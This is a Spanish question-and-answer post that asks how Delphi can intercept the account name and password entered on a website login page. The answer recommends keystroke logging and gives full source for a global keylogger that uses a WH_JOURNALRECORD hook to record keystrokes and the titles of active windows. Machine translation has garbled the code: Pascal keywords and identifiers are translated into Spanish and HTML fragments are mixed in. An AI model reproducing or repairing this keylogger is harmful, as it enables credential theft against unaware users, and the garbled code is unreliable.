¿Qué funciones y principios puede utilizar Delphi para interceptar la cuenta y la contraseña para iniciar sesión en la página web?
Usa el registro de teclas.
unidad Unidad1;
interfaz
usos
Windows, Mensajes, SysUtils, Variantes, Clases, Gráficos, Controles, Formularios,
Diálogos, StdCtrls;
tipo
TForm1 = clase(TForm)
Memo1: TMemo;
Botón1 : TButton;
Botón2: TButton;
procedimiento Botón1Click(Remitente: TObject);
procedimiento Botón2Click(Remitente: TObject);
procedimiento FormDestroy(Remitente: TObject);
privado
{ Declaraciones privadas }
públicas
{ Declaraciones públicas }
fin;
const
KeyMask = $80000000;
var
Formulario1: TForm1;
LogHook: HHook = 0; //Hook
LastFocusWnd: HWnd = 0;
PrvChar: Char;
hookkey:String;
implementación
{$R *.dfm}
función LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Título: matriz[0..255] de Char;
str: matriz[0..12] de Char;
TempStr, Time: cadena;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: entero;
bShift, bCapital, bNumLock: booleano;
comenzar
si iCode < 0 entonces
comenzar
Resultado:= CallNextHookEx(LogHook, iCode, wParam, lParam);
salir;
fin;
si (iCode = HC_ACTION) entonces
comienzo
pEvt := Pointer(DWord(lParam));
FocusWnd := GetActiveWindow;
si LastFocusWnd <> Foc
usWnd entonces
comenzar
si hookkey<>'' entonces
comenzar
Form1.Memo1.Lines.Add(hookkey);
hookkey :='';
fin;
GetWindowText(FocusWnd, Título, 256);
LastFocusWnd := FocusWnd;
Hora := DateTimeToStr(Now);
Form1.Memo1.Lines.Add(Hora + Formato('Título:%s', [Título]));
fin;
si pEvt.message = WM_KEYDOWN entonces
comienzo
vKey := LOBYTE(pEvt.paramL);
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := ((iShift y KeyMask) = KeyMask);
bCapital := ((iCapital y 1) = 1);
bNumLock := ((iNumLock y 1) = 1);
//HookList.Add('Esto es vKey:'+inttostr(vKey));
if ((vKey >= 48) y (vKey <= 57)) entonces
comenzar
si no es bShift entonces
comenzar
ch := Char(vKey);
finalizar else comenzar
caso vKey de
48: ch := ')';
49: ch := '!';
50: ch := '@';
51: ch := '#';
52: ch := '$';
53 : ch := '%';
54: ch := '^';
55: ch := '&';
56: ch := '*';
57: ch := '(';
fin;
fin;
hookkey:=hookkey+ch;
fin;
si (vKey >= 65) y (vKey <= 90) entonces // A-Z a-z
comenzar
si no es bCapital entonces
comenzar
si bShift entonces
ch := Char(vKey)
else
ch := Char(vKey + 32);
fin
else comienza
si bShift entonces
ch := Char(vKey + 32)
else
ch := Char(vKey);
fin;
hookkey:=hookkey+ch;
end;
if (vKey >= 96) y (vKey <= 105) entonces // Teclado pequeño 0-9
si bNumLock entonces
hookkey:=hookkey+Char(vKey - 96 + 48);
ch:='n';
si (VKey > 105) y (VKey <= 111) luego
comenzar
caso vKey de
106: ch := '*';
107: ch := '+';
109: ch := '-';
111: ch := '/';
else
ch := 'n';
fin;
fin;
if (vKey >= 186) y (vKey <= 222) luego // otras claves
comienzan
caso vKey de
186: si no es bShift entonces ch := ';' ':';
187: si no es bShift entonces ch := '=' else ch := '+';
188: si no es bShift entonces ch := ',' else ch := '<';
189: si no es bShift entonces ch := '-' else ch := '_';
190: si no es bShift entonces ch : = '.' más ch := '>';
19
1: si no es bShift entonces ch := '/' else ch := '?';
192: si no es bShift entonces ch := '`' else ch := '~';
219: si no es bShift entonces ch := '[' más ch := '{';
220: si no es bShift entonces ch := '\' más ch := '|' ;
221: si no es bShift entonces ch := ']' else ch := '}';
222: si no es bShift entonces ch := Char(27) else ch := '"';
else
ch := 'n';
fin;
fin;
if ch <> 'n' entonces
hookkey:=hookkey+ ch;
// if (wParam >=112 && wParam<=123) // Tecla de función[ F1]-[F12]
si (vKey >= 8) y (vKey <= 46) entonces //Teclas de dirección
comienzan
ch := ' ';
caso vKey de
8: str := '[Retroceso]';
9: str := '[TAB]'; /p>
13: str := '[Entrar]';
32: str := '[espacio]';
33: str := '[ Re Pág ]';
34: str := '[PageDown]';
35: str := '[Fin]';
36: str : = '[Inicio]';
37: str := '[LF]';
38: str := '[UF]';
39: str := '[RF]';
40: str := '[DF]';
45: str := '[Insertar]'; p >
46: str := '[Eliminar]';
else
ch := 'n';
fin;
si ch <> 'n' entonces
comenzar
//si PrvChar<>Char(vKey) entonces
//comenzar p >
tecla de gancho :=tecla de gancho+str;
// PrvChar := Char(vKey);
//end;
fin;
fin;
fin ;
fin;
Resultado := CallNextHookEx(LogHook, iCode, wParam, lParam);
fin;
procedimiento TForm1.Button1Click(Remitente: TObject);
comenzar
si LogHook = 0 entonces
comenzar
LogHook := SetWindowsHookEx (WH_JOURNALRECORD, LogProc, HInstance, 0);
end;
end;
procedimiento TForm1.Button2Click(Remitente: TObject);
comenzar
DesengancharWindowsHookEx(LogHook);
LogHook := 0;
fin;
procedimiento TForm1.FormDestroy(Remitente: TObject);
comenzar
DesengancharWindowsHookEx(LogHook);
LogHook := 0;
fin;
fin.